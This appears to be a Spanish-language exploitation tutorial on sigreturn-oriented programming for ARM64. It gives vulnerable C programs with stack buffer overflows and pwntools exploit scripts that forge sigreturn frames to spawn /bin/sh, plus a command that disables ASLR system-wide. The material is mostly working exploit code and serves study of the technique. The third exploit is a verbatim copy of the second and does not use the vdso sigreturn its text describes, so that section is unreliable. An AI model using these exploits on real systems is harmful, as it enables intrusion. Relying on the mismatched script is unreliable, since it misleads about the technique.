Ejemplo de Pwntools
Este ejemplo crea el binario vulnerable y lo explota. El binario lee en la pila y luego llama a sigreturn
:
Copy from pwn import *
binsh = "/bin/sh"
context . clear ()
context . arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft . read (constants.STDIN_FILENO, 'sp' , 1024 ) #Read into the stack
asm += shellcraft . sigreturn () # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft . syscall ()
asm += 'binsh: .asciz " %s "' % binsh #To have the "/bin/sh" string in memory
binary = ELF . from_assembly (asm)
frame = SigreturnFrame ()
frame . x8 = constants . SYS_execve
frame . x0 = binary . symbols [ 'binsh' ]
frame . x1 = 0x 00
frame . x2 = 0x 00
frame . pc = binary . symbols [ 'syscall' ]
p = process (binary.path)
p . send ( bytes (frame))
p . interactive ()
bof ejemplo
Código
Copy #include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff ( int do_arg){
if (do_arg == 1 )
__asm__ ( " mov x8, 0x8b; svc 0; " ) ;
return ;
}
char* vulnerable_function () {
char buffer[ 64 ];
read(STDIN_FILENO , buffer , 0x 1000 ) ; // <-- bof vulnerability
return buffer;
}
char* gen_stack () {
char use_stack[ 0x 2000 ];
strcpy(use_stack , "Hello, world!" ) ;
char* b = vulnerable_function() ;
return use_stack;
}
int main ( int argc , char ** argv) {
char* b = gen_stack() ;
do_stuff( 2 ) ;
return 0 ;
}
Compílalo con:
Copy clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
El exploit abusa del bof para regresar a la llamada a sigreturn
y preparar la pila para llamar a execve
con un puntero a /bin/sh
.
Copy from pwn import *
p = process ( './srop' )
elf = context . binary = ELF ( './srop' )
libc = ELF ( "/usr/lib/aarch64-linux-gnu/libc.so.6" )
libc . address = 0x 0000fffff7df0000 # ASLR disabled
binsh = next (libc. search ( b "/bin/sh" ))
stack_offset = 72
sigreturn = 0x 00000000004006e0 # Call to sig
svc_call = 0x 00000000004006e4 # svc #0x0
frame = SigreturnFrame ()
frame . x8 = 0x dd # syscall number for execve
frame . x0 = binsh
frame . x1 = 0x 00 # NULL
frame . x2 = 0x 00 # NULL
frame . pc = svc_call
payload = b 'A' * stack_offset
payload += p64 (sigreturn)
payload += bytes (frame)
p . sendline (payload)
p . interactive ()
bof ejemplo sin sigreturn
Código
Copy #include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function () {
char buffer[ 64 ];
read(STDIN_FILENO , buffer , 0x 1000 ) ; // <-- bof vulnerability
return buffer;
}
char* gen_stack () {
char use_stack[ 0x 2000 ];
strcpy(use_stack , "Hello, world!" ) ;
char* b = vulnerable_function() ;
return use_stack;
}
int main ( int argc , char ** argv) {
char* b = gen_stack() ;
return 0 ;
}
Exploit
En la sección vdso
es posible encontrar una llamada a sigreturn
en el offset 0x7b0
:
Por lo tanto, si se filtra, es posible usar esta dirección para acceder a un sigreturn
si el binario no lo está cargando:
Copy from pwn import *
p = process ( './srop' )
elf = context . binary = ELF ( './srop' )
libc = ELF ( "/usr/lib/aarch64-linux-gnu/libc.so.6" )
libc . address = 0x 0000fffff7df0000 # ASLR disabled
binsh = next (libc. search ( b "/bin/sh" ))
stack_offset = 72
sigreturn = 0x 00000000004006e0 # Call to sig
svc_call = 0x 00000000004006e4 # svc #0x0
frame = SigreturnFrame ()
frame . x8 = 0x dd # syscall number for execve
frame . x0 = binsh
frame . x1 = 0x 00 # NULL
frame . x2 = 0x 00 # NULL
frame . pc = svc_call
payload = b 'A' * stack_offset
payload += p64 (sigreturn)
payload += bytes (frame)
p . sendline (payload)
p . interactive ()
Para más información sobre vdso, consulta:
Ret2vDSO Y para eludir la dirección de /bin/sh
, podrías crear varias variables de entorno que apunten a ella, para más información:
ASLR